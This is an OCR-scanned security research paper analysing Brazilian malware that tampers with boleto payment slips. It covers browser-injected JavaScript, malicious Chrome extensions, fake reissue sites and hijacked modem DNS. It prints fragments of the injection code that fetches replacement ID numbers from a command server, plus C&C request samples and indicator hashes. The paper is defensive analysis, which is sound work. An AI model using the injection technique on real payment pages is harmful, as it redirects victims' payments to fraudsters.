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ABSTRACT

José is a very mistrustful person. He never uses Internet banking
services or buys anything using a credit card. Indeed, he doesn’t
even have one. He doesn’t trust any of these modern
technologies in the slightest. He’s well aware of all the risks that
exist online, so José prefers to keep his life offline. However, not
even that could save him from today’s cybercriminals, and he
lost more than $2,000 in a single day: José was pOwned by a
barcode and a piece of paper.

Brazilian bad guys have created a unique way of stealing money
from these cautious, offline-only types: changing ‘boletos’ [1],
popular banking documents issued by banks and all kind of
businesses in Brazil. Boletos are actually one of the most popular
ways to pay bills and buy goods in Brazil — even government
institutions use them — and they are a unique feature of the
Brazilian market.

In a series of online attacks targeting flaws on network devices —
especially DSL modems [2] — and involving malicious DNS
servers, fake documents, browser code injections in the style of
SpyEye, malicious browser extensions and a lot of creativity, the
crooks have successfully stolen vast amounts of money, even
from people who don’t own credit cards or use Internet banking
accounts. It’s a new worry for banks and financial institutions in
the country.

This paper explains how these attacks have happened in Brazil,
and gives advice on protecting customers even when they have
chosen to live their lives offline.

BOLETO BANCARIO: THE BRAZILIAN
PAYMENT SYSTEM

Boletos are a very popular and easy way to pay bills or buy
goods in Brazil — even online stores will accept this kind of
payment. All you need to do is print your boleto and pay it.
According to the Brazilian Central Bank [3], 21% of all
payments in the country in 2011 were made using boletos (see
Figure 1).

According to e-bit [4], boletos were the preferred payment
method for 18% of all e-commerce transactions in Brazil in 2012
(see Figure 2).

A boleto comes with an expiry date. Prior to that date, it can be
paid at ATMs, the branches and Internet banking services of any
bank, the post office, lottery agents and some supermarkets.
After the expiry date, it can only be paid at a branch of the
issuing bank and a fee is levied by the bank; the fee increases
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Figure 1: Preferred payment methods in Brazil in 2011.
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Figure 2: Preferred online payment methods in Brazil in 2012.
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As this is 3 recurring payment, please ensure you have enough
Skype Credit in your balance when your next recurring payment
is due. You can avoid worrying about missed payments by
signing up for a 12-month subscription instead.

Figure 3: Buying Skype credits with boleto bancdrio as a
payment method.

with every passing day beyond the expiry date. Banks also
charge a handling fee for every boleto paid in by a customer.
This fee varies from BRL 1 to BRL 12 (roughly $0.45 to $5.40),
depending on the bank. There are two types of collection:
registered (where billing information is sent to the bank
beforehand) and unregistered (where bills are not pre-registered
in the banking system). If the collection is registered, then the
bank will also charge a fee for every boleto issued, regardless of
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Figure 4: Boleto bancdrio for beginners, according to TheBrazilBusiness.com [8].

whether or not it has been paid. Therefore, unregistered
collection is more suitable for online transactions.

The bank also takes into account the size of the merchant, so a
merchant with a higher volume of banking transactions, that has
been working with the bank for a while, etc., is able to get lower
fees or even fee exemption. This transforms the boleto into a
very important sales tool within big companies, e-commerce
firms and the government. If a company wants to do business in
Brazil, it definitely need to use boletos — Apple [5], Dell, Skype
[6], Microsoft, and even FIFA [7] in the 2014 World Cup have
all used them in their local operations (see Figure 3).

Figure 4 shows the basic structure of a printed boleto bancario.

e Issuer bank: This is the financial institution responsible
for issuing and collection based on an agreement between
itself and the merchant. The bank, once authorized to
collect payment for the merchant, will credit the amount
owed by the client to the merchant’s bank account.

* Barcode: This is a code consisting of a group of printed
and variously patterned bars (always 103mm in length and
13mm in height), spaces and sometimes numerals that is

Figure 5: Paying a boleto using a barcode scanner.

designed to be scanned and read by a digital laser scanner
and which contains information to identify the object it
labels.

¢ Identification field: This is a numerical representation of
the barcode — it contains all the information necessary to
identify the merchant’s bank account and allow the
clearance. This field is used in home and self-service
banking.

To pay a boleto at a bank or online, all that is necessary is to
scan the barcode — if it’s unreadable (due to a bad print), users
can type in the 44-digit identification code instead. Some banks
have a barcode scanner in their mobile apps, so m-banking users
don’t need to type the ID field, they can simply use the phone’s
built-in camera to pay the boleto (see Figure 5).

What could possibly go wrong? Well, how about changing the
barcode or the ID field? It’s simple to do, and it means that
payments can be redirected to a different account. That’s

rojeto Codigo-Aberto de Sistema de Boletos bancarios em PHP hitp://boletophp.com.br/
54 commits 3 branches Oreleases 7 contributors
BEN 1 oranch: master - boletophp / + =
Merge pull request #64 from ramon/master =
B israeist autnored Harch 07, 2014 latest comst 27caesszs B
mimagens adicionada as imagens originais do boletoPHP 2 years ago
Winclude Corrigindo algoritmo gerador do fator de vencimento. 4 months ago
2 BUGS.ixt Commit inicial 3 years ago
|2 Boleto CEF - Contra Aprese. Commit inicial 3 years ago
&) COPYING Commit inicial 3 years ago
2 COPYRIGHT Commit inicial 3years ago
2 CREDITOS. bt Commit inicial 3years ago
2 LEIAME bt Atualizacdo do log de verso 3 years ago
2 boleto_bancoob php Commit inicial 3 years ago
2 boleto_banespa.php Commit inicial 3years ago
2 boleto_banestes.php Commit inicial 3years ago
& boleto_bb.php Commit inicial 3 years ago
2 boleto_besc php Commit inicial 3 years ago
|2 boleto_bradesco.php troca dos dados do boleto de teste do bradesco para uma conta invalida 3 months ago

Figure 6: BoletoPHP [9] is a free resource for developers to
generate boletos using PHP.
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Figure 7: A boleto modified by a Brazilian trojan: the new ID number and barcode redirect the payment to the fraudster’s account.

exactly what Brazilian fraudsters started to do — and the
easiest and most effective way to do so was, of course, using

malware.

THE BRAZILIAN BOLETO MALWARE
A boleto can be generated and printed by the store that is selling

its products to you, or even by users themselves during an
online purchasing process. It is displayed in the browser using
free libraries that are available for developers to implement in

their ERP software or in their online store systems.

The extensive documentation and legitimate open-source
software used to generate boletos have helped malware creators
to develop trojans which are programmed to change boletos
locally, as soon as they are generated by the computer or
browser. These trojans were spotted in the wild in April 2013
[10], and are still being distributed in Brazil today.

The first generations of the malware chose to change the ID
field number and the barcode, as shown in Figure 7.

The malware uses a JavaScript injection to change the content
of the boleto, as shown in Figure 8.

dd offset a_jsinject ; "_jsinject”
dd offset aSetattribute ; "setAttribute
dd offset aFunctionSetval ; "function SetUalores() {"
dd offset abDocument_frmco ; “document.frmCodBarras.codigoBarras.valu™. ..
dd offset aDocument_frm B ; "' ;document.frmCodBarrasi.vs.value=""
dd offset aDocument_frm 1 ; "' ;document.frmCodBarrasi.vé.value=
dd offset aDocument_frm 2 ; "' document.frmCodBarrasi.v?.value=
dd offset aDocument_frm 3 ; "' ;document.frmCodBarrasi.v8.value=
dd offset aDocument_frm 4 ; "' document.frmCodBarrasi.v®.value=""
dd offset aDocument_frm 5 ; "' ;document.frmCodBarrasi.vif.value=""
dd offset aDocument_frm 6 ; ' ;document.frmCodBarrasi.vii.value=""
dd offset aDocument_frm 7 ; "' ;document.frmCodBarrasi.vi2.value=""
dd offset aReturnEnviaval ; "'; return envialalores{);}"
dd offset aText ; UText™
dd offset aHead ; "HEAD"
dd offset aGetelementsbyt ; “getElementsByTagHame*
Figure 8: ‘CodBarras’ means barcode in Portuguese.
dd offset alinhadigitavel ; “LinhaDigitavel™
dd offset aTd_8@ ; kd"
dd offset aAhrBchmély9 18 ; “aHROCHMALY93d3dzNS50c2JjLmNubS5ici9DTRI™ ..
dd offset aTxtdatavencime ; "TztDataVencimento'
dd offset aTxtvalorpagame ; “TxtUalorPagamento®
dd offset aTxtdataefetiva ; "TztDataEfetivacan"
dd offset aTxtlinhadigita ; "TxtLinhaDigitaveldq"
dd offset aTxtlinhadigi_@ ; "TxtLinhaDigitavel2™
dd offset aTxtlinhadigi_1 ; "TxtLinhaDigitavel3"
dd offset aTxtlinhadigi_2? ; "TxtLinhaDigitavell"
dd offset aTxtlinhadigi_3 ; "TxtLinhaDigitavelS5"
dd offset aPrincipal ; "Principal™
dd offset aCorpo_8 ; "Corpo"
dd offset alframeprinc ; "iFramePrinc"”
dd offset aTxztwalor ; UtEtValor™
dd offset aTxtdatavenci_ B ; "txtDatalencimento’

Figure 9: ‘Linha Digitdvel’ means typeable line in Portuguese — it’s the ID field number.
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Later versions of the trojan started to change only the numbers
in the ID field, as shown in Figure 9.

These newer versions also used a span HTML element in order
to add a white space into the barcode, breaking it and making it
unreadable. That forces the customer or bank staff to type in the
doctored 44-digit ID field in order to pay the boleto. So as not to
raise suspicion, the trojan does not change the value or due date
for the transaction (see Figure 10).

Arquivo  Editar  Exibr  Ajuda
LaTn=1 Neilgnt=sU NOF@er=u><imy

Ldth=3 height=50 border=0><img
idth=1 height=50 horder=0><img
idth=3 height=50 border=0><img
idth=1 height=50 border=0><img
idth=1 height=50 border=0><img
idth=3 height=50 border=0><img
idth=1 height=50 border=0><imy
idth=3 height=50 horder=0><img
idth=1 height=50 border=0><imy
idth=1 height=50 horder=0><img
lidth=1 height=50 border=0><imy
idth=3 height=50 border=0><img =
idth=3 height=50 border=0><imy

idth=1 height=50 border=0><img

idth=3 height=50 horder=0><img

idth=1 height=50 lmrdcr=0>)»<spmn)-&nbsp(f‘spmnxspmm&:ﬁ:s[.(/spmnxmun border=0>
lidth=1 height=50 horder=0><imy
idth=1 height=50 border=0><imy
idth=1 height=50 border=0><img
idth=3 height=50 border=0><imy
idth=3 height=50 border=0><img
idth=3 height=50 border=0><imy
idth=3 height=50 horder=0><img
Athe=1 hadaht=G0 handav=isime

Linha 141, Coluna 46

Figure 10: HTML page changed by the trojan: a white space is
added to invalidate the barcode. (Source LinhaDefensiva.org

[11].)

The ID field includes a lot of information, including details of
the bank account that will receive the payment and other data

used according to the rules established by each bank (see Figure
11). The ‘Nosso Nimero’ data (‘Our ID Number’) is a unique
identifier, which is different for each boleto. Changing the ID
number is enough to redirect the payment to another bank
account.

23791.11103 60000.000103 01000.222206 1 486220000000

Bank ID + checksum  “Nosso niamero” Randon data Value and Due date
Hll Bank identifier code Hll Checksum digit

Il Currency identifier Il General Checksum

Hll Random identification data M Value and Due date

Figure 11: Understanding the ID field on boletos.

This attack is especially notorious for its ‘crossover’ to the offline
world, stealing from those who do not use Internet banking or
buy things online. It can even steal from people who have never
connected to the Internet in their lives. It resulted in infected
computers in thousands of stores all over the country generating
fraudulent boletos for their customers. Once printed and paid, the
boletos sent the money directly to the cybercriminals’ accounts.

This sparked an avalanche of trojans using the same technique,
and several businesses were badly affected. Many companies,
the association of shop keepers and the Brazilian government all
issued alerts to their customers about the fraudulent boletos
being issued by these trojans (e.g. [12—15]). A lot of money was
stolen, and even now this fraud is still costing banks, stores and
customers dearly.

Since most boletos are generated in a browser, the trojan installs
a BHO that is ready to communicate with a C&C server and

var CurHtml = §("body™) .heml ()
var pattern = /[ }. [0=9] {5}
var replace = /[

if (patcern. :esr.[c..:“mr.l)] [
var server = "htt
§.get (server + ' 4 linhad, functiom(data) {

ir (patcern.tesc(data)) |

)
i

var linhad = Ipatte n execmu:l'l\:n'-l” [0]) .xeplace (/\=+/g,"

$(" y™) -heml (CurHeml . replace (replace, daca)):

"¥i

Figure 12: It’s like SpyEye: code injection in the browser’s section.

404 48
pauar HTTP/ l 1L 40w
=pegar HTTP/1. L 1
pegar HTTP/1.1"

39 +L\00J

41 +0000] ”EET /
+0000] "GET /
+0000] "GET
5 +0000] "GET
+0000] "GET
+ﬁﬁ0ﬂ] "GET

0000] "GET
+\4\"09J "GET
+0000] "GET

:54 +0000] "GET

36:54 +0000] "GET /p
"G 56 +0000] "GET /
ar/2014:06:36:56 +0000] "GET /p

Figure 13: Requests to a sinkholed C&C.
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md=pegar HTTP ikl
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monitor traffic, looking for words such as
‘boleto” and ‘pagamento’ (payment), choosing

com.br/ajuday/listalnfo.php#

the exact moment to inject the code (see Figure NOME CLIENTE DATA IP CLIENTE
12). It also replaces an ID number stored in the U et MACS 20140423 19559:20 L L (2} i
HTML with a new one, downloaded from the O e PC 2014-04-24 22.06:21 5 B
C&C server. O 83 DECOMO003 ND 2014-04-25 09:02:07 Bondl P i}
Imtlally mOSt Of these BHOS had a Very lOW 8d CHARLES-3CCCF5A MD 2014-04-25 13:24:06 ﬁ
s
detection rate and were detected as a trojan = TEST 2FORRDTESE e DeEe e — o
banker by normal anti_malware pI‘OduCtS (eg () 86 ACME-997999DA9B 2014-04-26 00:14:49 % ﬁ
the MD5s 23d418f0c23dc877df3f081261255bb5 U eztilzmez SRR T 1 o o
[16] and f089bf60aac48e24cd019edb4360d30d (S CARONTE ND 2014-04-28 15:11:56 @
[17]). An example of a request made by these L] a9 367706 SEM 2014-04-20 00:48:42 —n [2) 17
BHOs, and the response with the new ID 0 = 134349 ND 2014-04-29 00:51:568 ich)
number to be injected, is shown below: 1] 848351 SEM 2014-04-20 00:53:09 LTS f
Request: J a9z 609290 MD 2014-04-29 00:57:14 I% @
http://141.105.65.5/11111.11111%2011111.1 93 841675 SEM 2014-04-29 00:57:34 B T [ [E)
11111%2011111.111111%201%201111111111
94 971342 SEM 2014-04-29 01:03:41 - % ﬁ
Response: e ERBRE-DBFB22AF 1 SEM 2014-04-29 01:04:16 e f
03399.62086 86000.000009 00008.601049 7
00000000000000 o 96 ANTONY-PC SEM 2014-04-29 01:04:29 1 @
a7 XP-C374C7C20ATD BB 2014-04-29 01:08:00 "l il % ﬁ
To measure the problem, we sinkholed some o p35e7 . 20140209 01 1292 ) B0

C&Cs and found several victims — in just one

malicious server, the logs registered more than
612,000 requests in three days. Each one sought
a fraudulent ID field to be injected into boletos
generated on the infected machines (see Figure
13).

‘We also found very professional-looking control panels used by
the fraudsters to collect data from infected machines and
register the moment a boleto is generated. It’s the same
infrastructure as used in the development of trojan bankers — a
fraudulent boleto is just a new way to steal money from the
users.

On investigating the attack vector used by the fraudsters and
looking at how the victims got infected, we found that all
possible techniques have been used. Social engineering attacks
via well-designed email campaigns are the most widespread, but

Figure 14: A control panel for infected machines.

the most aggressive path includes the massive use of RCE on
vulnerable DSL modems: in 2011/12 more than 4 million of
these devices were attacked in Brazil [18] and had their DNS
settings changed by cybercriminals — the same approach is still
being used to distribute this malware.

When an affected user tries to visit popular websites or
Brazilian web portals, the malicious DNS configured in the
DSL modem offers to install a new Flash Player. In reality,
accepting this installation causes the machine to be infected (see
Figure 15).

However, the problem worsened when the bad guys decided to
move more of their efforts online.

FileUnrls

oorw.elitedosfilmes com/flash_playerl1-5 stall exe
ww bamald combr/flash_playerll-3 installexs
eja.abrilcombr/flash_playerll-3 mstallexe
oo redtube com/flazh_playerl]l-3 install exs
ww.dshared com/flash_playerl1-3 mstall exe
‘bryahoo.com/flash playerll-3 mstallexe

arch babylon.comflash plaverll-3 mstallexe
ww.globo.comflash_playerll-3 mstallexs
fwoww.tumblrcom/flash plaverll-3 mstall exe
ww.faceboolcom/flash_playerll-3 mstallexs
‘letras mus br/flash_playerll-3_mstall exe
‘bramsn.com/flash_playerll-3 mstallexs
ww.xvideos.com'flazh_playerl1-6_mstall exe
www.terra.combr/flash_playerl]l-3_mstallexe
ww.googlecombr/flash_playerl1l-6_mstallexe
‘brhaol23.com'flash_playerll-3_mstallexs
‘www.google.combr/flash_playerl1-3_mstallexe
ww.googlecom/flash_playerll-3_installexs
ww.noleombr/flash playerll-3 istall exe
3111173100/ flash_playerll-3 mstallexs
feww.uoleombr/flash playerll-6 istall exe

DownloadDate

8/29/2013 8:25:00 PM
£/29/2013 7:21:00 PM
8/29/2013 6:39:00 PM
£/29/2013 6:13:00 PM
8/29/2013 3:33:00 PM
£/29/2013 3:32:00 PM
£/29/2013 3:21:00 PM
$/29/2013 4:12:00 PM
£/29/2013 3:57:00 PM
$/29/2013 3:40:00 PM
£/29/2013 3:40:00 Ph
8/29/2013 3:26:00 PM
£/29/2013 3:26:00 Ph
$/29/2013 3:26:00 PM
£/29/2013 3:26:00 Ph
$/29/2013 3:26:00 PM
£/29/2013 3:11:00 PM
8/20/2013 3:11:00 PM
£/29/2013 3:11:00 PM
8/20/2013 3:11:00 PM
£/29/2013 2:57:00 PM

Figure 15: Is Google.com hosting a Flash Player installer? No, it’s the malicious DNS in the DSL modem.
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FAKE WEBSITES, FAKE EXTENSIONS,
FRAUDULENT BOLETOS

Some fraudsters decided to do more than merely spread their
trojans. They wanted faster returns and shifted to a more online
approach. That meant investing in sponsored links, creating fake
websites that claimed to recalculate expired boletos (which is
possible with this payment system), and malicious browser
extensions for Google Chrome.

One attack started with a message promising 100 minutes of
free credit on Skype, as shown in Figure 16.

Ganne 100 minuos para teitonas fos o coluras.

Aproveite agora mesmo a promogdo que somente o Skype
oferege a vocé, em parceria com o navegador Google
Chrome desenvolvemos um plugin que iré facilitar o uso do
Skype e para incentivar vocé usuario Skype a utilizar
disponibilizaremos em 5 dias um crédito em sua conta
referente a 100 minutos podendo ser usado para ligagées

para telefones fixos e celulares para todo o Brasil e Mundo.
Esta é uma oferta por tempo limitado e o plugin

Skype-To-Go pode ser instalado diretamente da Appstore
do Google Chrome pelo link abaixo.

SKYPE-TO-GO

Figure 16: Skype-To-Go free for Chrome users! It’s easy, just
install an extension...

"5 - Bonus Skype to Go =30
VISAD GERAL DETALHES COMENTARIOS ITENS RELACIONADOS -

Ganhe aEOCa MESMo em seu skype
bonus de 100 minutos para fixos &
celulares

RELACIONADOS
Adblock Pro [T | Statstop )| 1orrabsmaster [T | iatter Zombie Clock — gl
e (33 @ ARk T @ —Fast Speed Scroll D | e time n browser . b

hwny e e

Figure 17: Trojan-Banker.JS.Banker.bv.

Why distribute a trojan when you can trick users into installing
a malicious browser extension that controls and monitors all of
the traffic? That’s exactly what the bad guys did, using the
valuable help of the official Google Chrome Web Store, which
hosted the malicious extension, as shown in Figure 17.

And that wasn’t the only one, we found more (Figure 18), and
another, disguised as a financial app that generates boletos (fake
ones, of course), as shown in Figure 19.

chromegoogle.com;webstore/detail/mi-servigos-financeiros, fokobhgjicimopkkgbdnoilelineikee

ML Servigos Financeiros e .
Lol VISAO GERAL DETALHES COMENTARIOS ITENS RELACIONADOS g0
o
ML ‘ ML ‘ ML :q:;‘n;;;shﬂamamlserv\gm

Clientes ML

Nacionat

BANCOS E FINANCEIRAS

RELACIONADOS

‘Add-on para desativagso wor .| Rolagemripidado [Tum | Searchthe currentsce 707
€ doGoogle Analytes b 0 > cooge 1 pesqusarnosne ', JId
ST e oo k100

=TTy TeWaT

Figure 19: Trojan-Banker.JS.Banker.bx — more than 3,800
installations...

The extension was prepared to do exactly the same as the BHO
does in an infected machine: monitor traffic, wait for the
moment a boleto is generated, then communicate with a C&C
server (see Figure 20) and inject a new ID field number into the
boleto, invalidating the barcode (Figure 21).

Figure 20: Trojan-Banker.JS.Banker.bw.

@ nttp;//969.163.2/boleto/boleto_hsbcphp oL~C ‘ @ 9691632 X

& -~ Chrome Extensions Monitor [+ cauo [ <]

) | Produtividage

VISAO GERAL DETALHES COMENTARIOS ITENS RELACIONADOS a

System Extension. Extension
Monitor allow Google Chrome to
monitor the extensions installed
inyour browser.

System Extension. Extension Monitor allow

Google Chrome to monitor the extensions
inscalled in your browser. ID:_p-a

O desenvolvedor nao enviou nenhuma captura de tela.

TR

"

{"number":"10492.12135 30568.000001 04286.64 3 00000000008039","barcode":"

Figure 18: Trojan-Banker.JS.BanExt.a, found in June 2014 in
the Chrome Web Store — almost 2,000 users installed it.

Figure 21: The new data sent to the malicious extensions.

Customers of small banks could not escape the attack —
malicious extensions were set up to target a long list of local
banks, as shown in Figure 22.

The huge number of malicious extensions prompted Google’s
decision [19] at the end of May 2014 to limit the installation of
Chrome extensions. Now they can only be hosted on the
Chrome Web Store — but as we have seen, it doesn’t seem to be a
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11-Now-2013 22:26 5.1K
11-Now-2013 22:26 6.0K
11-Now=2013 22:26 5.2K
11-Now=2013 22:26 5.7K
11-Now=2013 22:26 5.1K

boleto_amigos.php
boleto_bancoob.php
boleto_banespa.php
boleto_banestes.php
boleto_bb.php
boleto_besc.php
boleto_bradesco.php
boleto_cef.php

[£] boleto_cef sigeb.php
[&] boleto_cef sinco.php
boleto_hsbe.php
boleto_hsbel.php
boleto_itau. php
boleto_nossacaixa.php
boleto_real.php
boleto_santander banespa.php
boleto_sieredi.php
boleto_sofisa.php
boleto_sudameris. php
boleto_unibanco.php

Figure 22: PHP files prepared for each bank.

problem for cybercriminals to upload their malicious creations
to the Web Store.

Another interesting characteristic of boletos is the possibility of
generating a counterpart copy, in case you lose the original one.
Some banks also offer a service to customers who have missed
the payment deadline and need to recalculate the value of an
expired boleto and reissue it, after paying a small fee. All
companies working with boletos offer these services to their
customers, generally online, and cybercriminals wait there to
attack.

The fraudsters decided to set up malicious websites that claim
to offer re-issues or recalculations of expired boletos — but of
course, the new boleto is fake and redirects the payment to the
bad guys’ accounts. These attacks are carried out with the help
of search engines, with the attackers buying up sponsored link
campaigns and putting their fraudulent sites at the top of the
results.

In a search for ‘calcular boleto vencido’ (recalculate expired
boleto) or ‘segunda via boleto’ (counterpart copy) on Google,
the first result is a fraudulent service, as shown in Figure 23.
And Google isn’t the only one — Figures 24, 25 and 26 show
fraudulent links showing up in searches on Yahoo!, Ask.com and
Bing.

YAHC)O'-,I |atuahzarbaletavemdo ‘

Web Atualiza Boleto
Images www.atualizarboleto.com.br
: O site que vocé acessou esté apontado para KingHost. Por favor, tente novamente ew<=
L breve. Veja: Registro de Dominio na KingHost Se vocé for o responsavel por ...
Shopping

Maps Boleto Atualizar | Boleto Itad, Banco do Brasil BB, Caixa ... <:
Blogs boletoatualizar.com.br
;4 Atualizar boleto agora é facil. Veja aqui como atualizar o seu, sem sair de casal

More

Figure 24: The malicious website is ranked highly in Yahoo! as

segunda via boleto

well.

Everything

22 Via Boleto Vencido - Servico para Atualizar Boletos
www_faturarapida.com/
Images

Atualize seu Boleto Vencido.

Anlncios relacionados a: segunda via boleto

Hews Meu Vivo - 2* Via
) meuvivo vivo.com br/
Videos Com Meu Vivo Vocé Solicita sua 2° Via de Falura. Cadasire-se Jal
Plano Fixo Plano Pds
Shopping

Plano Controle

GO g[e calculo boleto vencido i n

Web Imagens Mapas Shopping Videos Mais~  Ferramentas de pesquisa

Anncio relacionado a calcule boleto vencido ®

Atualizar Boleto Vencido - parcelasatrasadas.com
www._parcelasatrasadas com/ ~

22 Via de Boleto Vencido. Atualize seu Boleto Vencido Agora

Calculo Exato - Valor atualizado de um boleto banc...
calculoexato com br/dividas/boleto ~

Calcula valor de uma obrigacéo atrasada a ser paga afravés de
boleto bancario

Figure 23: Malicious sponsored link at the top.

Figure 25: Even the less popular Ask.com ranks the malicious
website as well.

WEB IMAGENS  VIDEOS NOTICIAS MAPAS MAIS

b bing ‘ Atualizar Boleto Vencido pel

212.000 RESULTADOS  Restringir por regiéo ~

Boleto Atualizar | Boleto Itad. Banco do Brasil BB,
Caixa ...

boletoatualizar com br -

Atualizar boleto agora & facil. Veja aqui como atualizar o seu, sem
sair de casal

site esta hospedado na KingHost

www atualizarboleto com br -

O site que vocé acessou esta apontado para KingHost. Por favor, tente
novamente em breve. Veja: Registro de Dominio na KingHost Se vocé
for o responsével por

Figure 26: Two malicious websites appear in the results of a
Bing search.

As shown in Figure 27, the fake websites that supposedly offer
these services have a very professional design — aiming to trick
victims into believing they are legitimate sites.

5 tulizarbol ido.com brs54.info:

@"é"fo

MmSylEGsh1g8P/
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Banco Banco do Banco Banco w |
@ 4 @ e
CitiBank Nordeste ’

"Viocé o precisa ir a0 banco para pagar seus boletos atrasados.”

[\
g

Banco
Sioredi

Al

"Atualize agora o seu boleto vencido."

"Selecione acima o banco emissor do seu boleto.”

Boleto Online ® 2013 - Todos os direitos resenvados

Figure 27: Simply pick your bank and generate your (fake)
boleto.
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BV}| @ nttpy//darffederal.com/Imprimir.php Fp ~ X || C 22Via de Boleto
: |
| 104-0 I 10494.14087 34000.200047 04867.239107 1 00000000000000

Cadentz Ag./Cédige do cadente Expécie Q. [ Nosso nimers

BRASPRESS LTDA 29387089352 RS 1 175/90193977-9

Nimero do documento CPFICNPJ Wencimento Valor do documento

307.954.648-27 956.663.933-32 09/08/2013 236429

(-} Descomo/Absiments || (-} Outrss dedugles () Mora/Mus {+) Outros zeréscimos (=) Valor zozrado

Sacado

AGINALDQ JOSE RIBEIRO

Demenstrativo: Boleto vencide: 34191 .09073 14258.750044 50860 .890003 9 57550000082109 Au[an[ic;gio Mecinica

Mensagem da pagina da web ﬁ

!-_ Boleto registrado pela empresa cedente e emitir a 22 via através
"\ da caixa econdmica federal valido somente para pagar no
mesmao dia.

| 104-o| 1

Local de pagamento

QUALQUER BANCO ATE O VENCIMENTO

Sacado
AGINALDO JOSE RIBEIRO

Data do decumanto Mimero do documente Espé
09/08/2013 307.954.648-27 DM
Uso do bancs Caneira Espérie Qm
R$ 1 2364.29 2364,29
nstrugbes (A partir de agora vocd deve efetuar o pagamento através do nove cddigo gerado D9/08/2013 ) i) Desconto/Abatmentos

Figure 29: The box says: ‘Boleto registered by the issuer company, the counterpart copy via Caixa Economica Federal, it’s valid only if
paid on the same day’.

All you need to do is choose the bank that issued the boleto, innocent people who know nothing of the situation, using stolen
type in the data and ‘reissue’ it. personal data. With money mules and accounts often opened in
the name of deceased people, it’s easy to see why it’s so difficult
to track stolen money.

http://cobranosja.com/br/

Sializanobts Boletos are a very local and distinctive payment method; few

P _ other countries have anything similar and most don’t even know
9 ) & what a boleto is. Unfortunately, security companies pay little
6 ‘ ) attention to Brazil, and miss a lot of issues that only local
2 Santander

intelligence can detect and offer expertise in. Local criminals

D limit their attacks strictly to Brazilian IPs, and only install their
q’ . A D . . .. o
v > trojans on machines operating in Brazilian Portuguese.
1tl W |srcaanco
HSBC Sierent e Brazilian cybercriminals are following the same path as their
counterparts in Russia and China, with a very specialized
Todos os links sao oferecidos oficialmente pelos bancos. cybercrime scene where attacks on locals require special effort
to understand properly. They are also sharing knowledge with
Figure 28: Just pick your bank and generate your (fake) boleto. cybercriminals from Eastern Europe, exporting new techniques
such the one described here, clearly inspired by SpyEye, to
Of course, the boleto that is generated has the same value and perform code injection.
due dat indicated, but the ID field b tai .
dZtea ate as you idicated, but the ¢ld number contams new Products such as those that include the Kaspersky Lab Safe

Money [20] technology can block these attacks entirely by
offering the option of opening pages in a safe mode where no
CONCLUSIONS malicious code can inject data. This ensures that boletos can be

These attacks are a big headache for everyone involved in generated securely (Figure 30).

buying and selling in Brazil — banks, businesses and customers
alike. When a customer is hit with a fake boleto he says it’s not REFERENCES
his fault because he has paid the bill. The store blames the bank

for failing to process the payment properly. The bank insists it is (1] http://en.wikipedia.org/wiki/Boleto.

only responsible for processing the boleto, not for the content of [2] http://www.securelist.com/en/blog/208193852/The _
the paperwork. The buck is passed round and around... tale_of_one_thousand_and_one_DSL_modems.

To complete the scenario, Brazilian bad guys specialize in [3] http://www.bcb.gov.br/htms/spb/Diagnostico-Adendo-
identity theft. They often open bank accounts in the names of 2011.pdf.
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Figure 30: Boleto generated securely.
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